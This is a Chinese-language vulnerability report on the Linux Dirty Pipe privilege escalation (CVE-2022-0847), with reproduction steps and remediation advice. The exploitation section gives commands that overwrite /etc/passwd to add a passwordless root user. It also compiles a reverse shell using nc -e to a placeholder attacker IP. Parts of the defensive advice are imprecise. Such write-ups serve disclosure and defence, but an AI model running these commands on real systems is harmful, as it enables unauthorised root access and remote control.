Dirty Pipe提权漏洞报告
一、漏洞概述
漏洞编号
CVE-2022-0847
漏洞发现时间
2022年
漏洞影响范围
该漏洞影响基于Linux内核5.8及以上版本的系统,在Ubuntu 21.10等使用特定版本内核(如5.13.0 - 30 - generic)的系统中可被利用。众多服务器、桌面系统以及移动设备等若运行受影响的内核版本,均面临安全风险。
漏洞危害
攻击者可利用此漏洞在本地实现权限提升,获取系统root权限。一旦成功提权,攻击者能够随意修改系统关键文件、安装恶意软件、窃取敏感信息或对系统进行破坏,严重威胁系统的安全性和数据的保密性、完整性。
二、漏洞原理
漏洞根本原因
Dirty Pipe漏洞的根源在于Linux内核的管道(pipe)处理逻辑存在缺陷。在正常情况下,内核中的管道缓存机制用于在进程间高效传输数据。然而,该漏洞允许攻击者通过精心构造的输入,覆盖只读文件的缓存页。当一个进程试图读取或写入管道数据时,内核会错误地将攻击者提供的数据写入到只读文件的缓存中,且后续这些修改会被同步到实际的文件系统,从而绕过了文件的只读权限限制。
技术细节
-
管道缓存机制:Linux内核中的管道通过环形缓冲区来实现进程间通信。当一个进程向管道写入数据,另一个进程从管道读取数据时,数据会在缓冲区中暂存。
-
缓存页覆盖漏洞:攻击者利用特定的系统调用和数据构造方式,使得内核在处理管道数据时,将数据错误地写入到只读文件对应的缓存页中。由于缓存页与实际文件存在映射关系,这种错误的写入最终会导致只读文件被修改。
-
权限绕过:原本只读文件受权限保护,普通用户无法直接修改。但通过Dirty Pipe漏洞,攻击者能够以普通用户身份修改只读文件,进而实现权限提升等恶意操作。
三、复现步骤
环境搭建
-
系统准备:安装Ubuntu 21.10操作系统。
-
内核安装:
-
更新系统:
sudo apt update && sudo apt upgrade -y -
下载存在漏洞的内核(5.13.0 - 30 - generic):
wget http://old - releases.ubuntu.com/ubuntu/pool/main/l/linux/linux - image - 5.13.0 - 30 - generic_5.13.0 - 30.33_amd64.deb -
安装内核:
sudo dpkg -i linux - image - 5.13.0 - 30 - generic_5.13.0 - 30.33_amd64.deb -
重启系统并选择该内核。
-
-
验证内核版本:执行
uname -a,确认版本为5.13.0 - 30 - generic。
漏洞验证
-
下载PoC代码:
git clone https://github.com/Arinerron/CVE - 2022 - 0847 - DirtyPipe - Exploit -
进入目录并编译:
cd CVE - 2022 - 0847 - DirtyPipe - Exploit,然后执行make编译漏洞利用程序。
漏洞利用
-
利用Dirty Pipe覆盖/etc/passwd添加root用户:
-
备份原文件:
cp /etc/passwd /tmp/passwd.bak -
生成恶意用户条目(用户名为hacker,无密码,UID = 0):
echo "hacker::0:0::/root:/bin/bash" > /tmp/passwd -
使用PoC覆盖/etc/passwd:
./dirtypipe /etc/passwd 1 /tmp/passwd -
验证提权:执行
su hacker(无需密码),再执行id确认UID = 0,执行whoami输出应为root。
-
-
进阶利用(覆盖SUID程序劫持实现远程Shell获取):
-
编译一个反弹Shell的bash:
gcc -o /tmp/bash -xc - <<<'int main(){system("nc -e /bin/bash 攻击机IP 4444");}' -
覆盖/bin/bash:
./dirtypipe /bin/bash 1 /tmp/bash -
触发反弹Shell:
chmod +s /bin/bash,然后执行/bin/bash。
-
四、修复建议
内核升级
立即将Linux内核升级至5.17及以上版本。新版本的内核已经修复了该漏洞的相关代码逻辑,通过更新内核能够有效防御Dirty Pipe漏洞攻击。例如,在Ubuntu系统中,可以使用命令sudo apt update && sudo apt full - upgrade来获取并安装最新的内核版本。
权限管理
-
限制非特权用户访问敏感文件:仔细审查系统中文件和目录的权限设置,确保非特权用户没有对敏感文件(如/etc/passwd、/bin/bash等)的写权限。可以使用命令如
chmod来调整文件权限,例如chmod 0444 /etc/passwd确保该文件只有读权限。 -
加强文件系统挂载选项:对于关键的文件系统,采用更严格的挂载选项。例如,对于包含系统重要文件的分区,使用
ro(只读)选项挂载,防止在文件系统层面被非法写入。在/etc/fstab文件中配置相关分区的挂载选项。
安全监控
-
部署文件完整性监控工具:安装并配置文件完整性监控工具,如AIDE(Advanced Intrusion Detection Environment)。AIDE能够定期检查文件的完整性,一旦发现文件被修改,及时发出警报。通过配置AIDE的规则文件,定义需要监控的文件和目录,以及监控的方式(如文件大小、权限、哈希值等)。
-
启用系统审计:开启系统的审计功能,对文件的读写操作进行详细记录和分析。在Linux系统中,可以通过配置
auditd服务来实现。例如,配置auditd规则来监控对敏感文件的访问,如auditctl -w /etc/passwd -p wa -k passwd_access,这样当有任何对/etc/passwd文件的写或读操作时,auditd会记录相关事件,便于安全人员及时发现异常行为。
412





